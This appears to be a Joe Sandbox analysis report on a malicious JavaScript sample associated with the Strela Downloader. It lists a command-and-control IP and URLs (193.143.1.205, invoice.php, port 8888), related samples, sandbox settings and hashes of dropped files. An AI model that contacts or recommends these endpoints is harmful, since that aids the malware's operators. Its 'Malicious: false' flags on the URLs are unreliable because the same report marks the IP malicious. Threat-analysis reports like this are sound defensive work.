Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2189295888.0000024A41010000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3409711759.0000024A41200000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2182594694.00000278DC2DF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182390787.00000278DC288000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2178967922.00000278DC2B7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182466219.00000278DC2B7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2178827767.00000278DC2DD000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1592151
Start date and time:	2025-01-15 20:41:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1647911459241874440.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 88.221.168.226, 23.209.209.135, 199.232.210.172, 2.16.168.106, 2.16.168.121, 2.16.168.103, 2.22.242.123, 2.22.242.11, 2.16.168.118, 2.16.168.107, 2.16.168.100, 2.16.168.105, 2.16.168.125, 88.221.110.91, 2.16.100.168, 2.19.11.108, 2.19.11.117, 13.107.246.45, 52.6.155.20, 52.149.20.212, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:41:59	API Interceptor	24x Sleep call for process: powershell.exe modified
14:42:04	API Interceptor	1x Sleep call for process: net.exe modified
14:42:04	API Interceptor	2x Sleep call for process: svchost.exe modified
14:42:14	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	21033090848109083.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31070304561863532281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2387315401298627745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14957144702878221204.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1579614525244583223.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	0430tely.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Order.xls	Get hash	malicious	Unknown	Browse	199.232.210.172
	Order.xls	Get hash	malicious	Unknown	Browse	199.232.210.172
	hNgIvHRuTU.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	ACH REMITTANCE DOCUMENT 15.01.25.xlsb	Get hash	malicious	Unknown	Browse	199.232.214.172
	Personliche Nachricht fur e4060738.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://drive.google.com/file/d/1dNrtjTqb59ZQTE3gUuVhSjEbFXuJRXW7/view?usp=sharing&ts=6786e61f	Get hash	malicious	Unknown	Browse	199.232.214.172
	Sample1.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	alN48K3xcD.dll	Get hash	malicious	Wannacry	Browse	199.232.214.172
	RFQ # PC25-1301.xlsx	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	21033090848109083.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	373320438246114031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1025029660567011705.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31070304561863532281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1724730880967915900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2387315401298627745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8886101892955431603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14957144702878221204.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1579614525244583223.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263374053872271
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0F:9JZj5MiKNnNhoxuaJ
MD5:	1AD20DB1FAD6F10FB1C1FB890E8A2045
SHA1:	DF5FB7FF0970285D8F4BBCCED4F8CB8BF082B933
SHA-256:	50786059406571F97BF1ED466E84D33F0E7E625AAC9FBD15ECEB0E4730FC2130
SHA-512:	683D1A466372E6F643A67359CDB5C7DB4AA5D5060D27EDB4E35AF1F1BB1D46770A8932A187B25DCBC9379CF3BDBDAC4F28908B19366130B6ECE91400DBE6DFD7
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x3af259e3, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555740532245604
Encrypted:	false
SSDEEP:	1536:NSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:NazaSvGJzYj2UlmOlOL
MD5:	B69B318228EB334976E4A7D048508ABC
SHA1:	FB02EFE001273A65FB0002E20E9580DE6B7A5ABA
SHA-256:	85DA487DDBF3F0C524996C9E3EEBDD029A22B1F32DE21F8A602DE709C3AC908E
SHA-512:	AD1FEBCEF31494A9E477D5D5C2DED62089EE026DF7F5588A7EE4736FC7BB5238CEFAE7DE52301B8ACF02CEAB56DC8B7E0A6673912F0F16F7074775358F417A76
Malicious:	false
Preview:	:.Y.... .......7.......X\...;...{......................0.e......!...{?.....}O.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................-.....}O...................G..*...}O..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08008519067864
Encrypted:	false
SSDEEP:	3:Tl6YeXOfYErfNaAPaU1lZ2rXalluxmO+l/SNxOf:p6zXCNDPaUhHgmOH
MD5:	6E11622C68331F885D4E8741F17BD893
SHA1:	9114967A6D90FA7AF5D87E53925207AD6349EC81
SHA-256:	FEEF74BD77350221B7E1F7FA6A6132D8DCF22580BD09F213740DEFAED020DFD9
SHA-512:	D89E4D0BDEE7B56B0CD15D193F35C772F6378A672F96687BB815C6AF44EEFECA99CC9819F08B2BB9E453137566720AD119B2E45409C3CEEDD57EC0BB8DFFC5F0
Malicious:	false
Preview:	.]8......................................;...{......}O..!...{?..........!...{?..!...{?..g...!...{?...................G.....}O.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.212970024571593
Encrypted:	false
SSDEEP:	6:iOJLMM+q2PN72nKuAl9OmbnIFUtPB0XZmwtB0qMVkwON72nKuAl9OmbjLJ:7H+vVaHAahFUtp0X/P03V5OaHAaSJ
MD5:	D1211A970845E547AE789EF49D85553B
SHA1:	65713D96CCD6087CCE1BBD39BD7F70B924718C08
SHA-256:	A0253D9D03707A0B3E521C205C61BE3A87D0267750A95D2EAB7DF35081A1330F
SHA-512:	16CC53A40B90BDC71E158BDF48DA590BBFAB092AF8A4AFF08046D07BB176AE21CFB4C11D3138A5D73E2F26F4948A6204786E17AE61F19A63D6226F555DD301FA
Malicious:	false
Preview:	2025/01/15-14:42:04.373 18ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/15-14:42:04.376 18ac Recovering log #3.2025/01/15-14:42:04.376 18ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.212970024571593
Encrypted:	false
SSDEEP:	6:iOJLMM+q2PN72nKuAl9OmbnIFUtPB0XZmwtB0qMVkwON72nKuAl9OmbjLJ:7H+vVaHAahFUtp0X/P03V5OaHAaSJ
MD5:	D1211A970845E547AE789EF49D85553B
SHA1:	65713D96CCD6087CCE1BBD39BD7F70B924718C08
SHA-256:	A0253D9D03707A0B3E521C205C61BE3A87D0267750A95D2EAB7DF35081A1330F
SHA-512:	16CC53A40B90BDC71E158BDF48DA590BBFAB092AF8A4AFF08046D07BB176AE21CFB4C11D3138A5D73E2F26F4948A6204786E17AE61F19A63D6226F555DD301FA
Malicious:	false
Preview:	2025/01/15-14:42:04.373 18ac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/15-14:42:04.376 18ac Recovering log #3.2025/01/15-14:42:04.376 18ac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.112924270434449
Encrypted:	false
SSDEEP:	6:iOJkwIq2PN72nKuAl9Ombzo2jMGIFUtPejZmwtg3DkwON72nKuAl9Ombzo2jMmLJ:7svVaHAa8uFUtmj/e3D5OaHAa8RJ
MD5:	EF274356F041738E50C1E17202C53A00
SHA1:	9C3E0C9FD054EBF9C310A0CCFD031E16FCF0BC99
SHA-256:	3B79DACC3124622AE0CE1FB4809C325BC1FD849B2426A20103C15A7A93CF09D6
SHA-512:	56C367B724964BEC01B17003417799B1B2ABF1846B54792BADB92E7E8A808E83E4BC8BAE299562903402CBF83054FE2C59CB316205CCD54F1C3EEF4DDAAC1B76
Malicious:	false
Preview:	2025/01/15-14:42:04.408 3e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/15-14:42:04.409 3e0 Recovering log #3.2025/01/15-14:42:04.410 3e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.112924270434449
Encrypted:	false
SSDEEP:	6:iOJkwIq2PN72nKuAl9Ombzo2jMGIFUtPejZmwtg3DkwON72nKuAl9Ombzo2jMmLJ:7svVaHAa8uFUtmj/e3D5OaHAa8RJ
MD5:	EF274356F041738E50C1E17202C53A00
SHA1:	9C3E0C9FD054EBF9C310A0CCFD031E16FCF0BC99
SHA-256:	3B79DACC3124622AE0CE1FB4809C325BC1FD849B2426A20103C15A7A93CF09D6
SHA-512:	56C367B724964BEC01B17003417799B1B2ABF1846B54792BADB92E7E8A808E83E4BC8BAE299562903402CBF83054FE2C59CB316205CCD54F1C3EEF4DDAAC1B76
Malicious:	false
Preview:	2025/01/15-14:42:04.408 3e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/15-14:42:04.409 3e0 Recovering log #3.2025/01/15-14:42:04.410 3e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6f698d8c-43f4-4c16-85a5-35b621941830.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.957393568407869
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9XhsBdOg2HNcaq3QYiubcP7E4T3y:Y2sRds8XydMH83QYhbA7nby
MD5:	E41A6A213C9BA99338625EDDE78B5664
SHA1:	5F8F6215642361E0E14F4E5839F0714C8A618E50
SHA-256:	5923DF571F4A641D3FB8CF0D83AD7C893799CD7B50FB8942713C30471E984CD7
SHA-512:	34C9660D8DE211656C513FAC2CE9D34727073A8CFD2954C2DEFEBCCEF01B7AD0A42A1BFDF35748E93B2FE244C3994F3FB9C19D3F62EE85A6B0E49BA7808395FA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381530136088636","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":316205},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.957393568407869
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq9XhsBdOg2HNcaq3QYiubcP7E4T3y:Y2sRds8XydMH83QYhbA7nby
MD5:	E41A6A213C9BA99338625EDDE78B5664
SHA1:	5F8F6215642361E0E14F4E5839F0714C8A618E50
SHA-256:	5923DF571F4A641D3FB8CF0D83AD7C893799CD7B50FB8942713C30471E984CD7
SHA-512:	34C9660D8DE211656C513FAC2CE9D34727073A8CFD2954C2DEFEBCCEF01B7AD0A42A1BFDF35748E93B2FE244C3994F3FB9C19D3F62EE85A6B0E49BA7808395FA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381530136088636","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":316205},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.253568542688897
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7JDAl:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhu
MD5:	843751A8BA3086A48F484515B44B66BB
SHA1:	D3C06338027D9F3400DFF476C44A22F0FCAF0704
SHA-256:	8478F2165A2D8F69F6425594C5BEFB7F289D51971E486F61456987D8A5CFA942
SHA-512:	601F45860525C6AB6C21B8BA3179E6657D3C2441968E9A0D04BDFE5D29006356BB6A3A1571E4376D7DF565FD412DF19DE28E253259F5A95EB7D5EC5239BA76E3
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.125749831839774
Encrypted:	false
SSDEEP:	6:iOJtJ4q2PN72nKuAl9OmbzNMxIFUtPkZmwtEkwON72nKuAl9OmbzNMFLJ:7Z4vVaHAa8jFUts/25OaHAa84J
MD5:	141755E72150667ACA93F2476AB7A0CF
SHA1:	AAA76E284F82B067FC81E211907BB9645A2EC00A
SHA-256:	2E4E461E915B241177D703A3DB71504EDD37E5927B3FF527AEC126378CA69D5F
SHA-512:	4885F9CDEDA3B4ED247729206A91F1C84F1EBBCA24D3FC2D3B8A3F75E0BD51A474798B678159DEA2F644C3539471B892CD9DF1A452E1F66483B4AB235FCA7E37
Malicious:	false
Preview:	2025/01/15-14:42:04.712 3e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/15-14:42:04.713 3e0 Recovering log #3.2025/01/15-14:42:04.713 3e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.125749831839774
Encrypted:	false
SSDEEP:	6:iOJtJ4q2PN72nKuAl9OmbzNMxIFUtPkZmwtEkwON72nKuAl9OmbzNMFLJ:7Z4vVaHAa8jFUts/25OaHAa84J
MD5:	141755E72150667ACA93F2476AB7A0CF
SHA1:	AAA76E284F82B067FC81E211907BB9645A2EC00A
SHA-256:	2E4E461E915B241177D703A3DB71504EDD37E5927B3FF527AEC126378CA69D5F
SHA-512:	4885F9CDEDA3B4ED247729206A91F1C84F1EBBCA24D3FC2D3B8A3F75E0BD51A474798B678159DEA2F644C3539471B892CD9DF1A452E1F66483B4AB235FCA7E37
Malicious:	false
Preview:	2025/01/15-14:42:04.712 3e0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/15-14:42:04.713 3e0 Recovering log #3.2025/01/15-14:42:04.713 3e0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444933817095698
Encrypted:	false
SSDEEP:	384:ye6ci5t9iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mWs3OazzU89UTTgUL
MD5:	1D44B6E29F6B741183ECD50857EEB111
SHA1:	D30C1F9A66F613617F05BB9693EB03A8B98E2B09
SHA-256:	981D5037FFACADB1E9376422B7E8C17C3FC3995E7CCD4CBF3B30C2004A609335
SHA-512:	DDCB9EAD50AD479A648F0DA2A373A297E5659390BB7D4C661114B2C4082C5B7EB3F95331D526A8C61FE2CD9DB8BAD9AEA804300F79017757F7EA508025009D86
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7660005548536177
Encrypted:	false
SSDEEP:	48:7MFJioyVzioyzoy1C7oy16oy11KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OA:7KJuz5UXjBiAb9IVXEBodRBke
MD5:	101F8551CD8582653E32202DC03C2763
SHA1:	9429C55F9CE47953A35006FA478C6DFDCED9857D
SHA-256:	A5708F51645E6371754AB388CB7439B93A15BB1FD0A532EA592C71DB4C7C5CC6
SHA-512:	CAB418162F404FD2A73090CB0139D044517E867BA7CA7BF149D5D443CD371A2A5736E1DC14BD4B83D023A789AC51316F74839BD39EFEC1730CF787A6CA2D6929
Malicious:	false
Preview:	.... .c....."..w...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
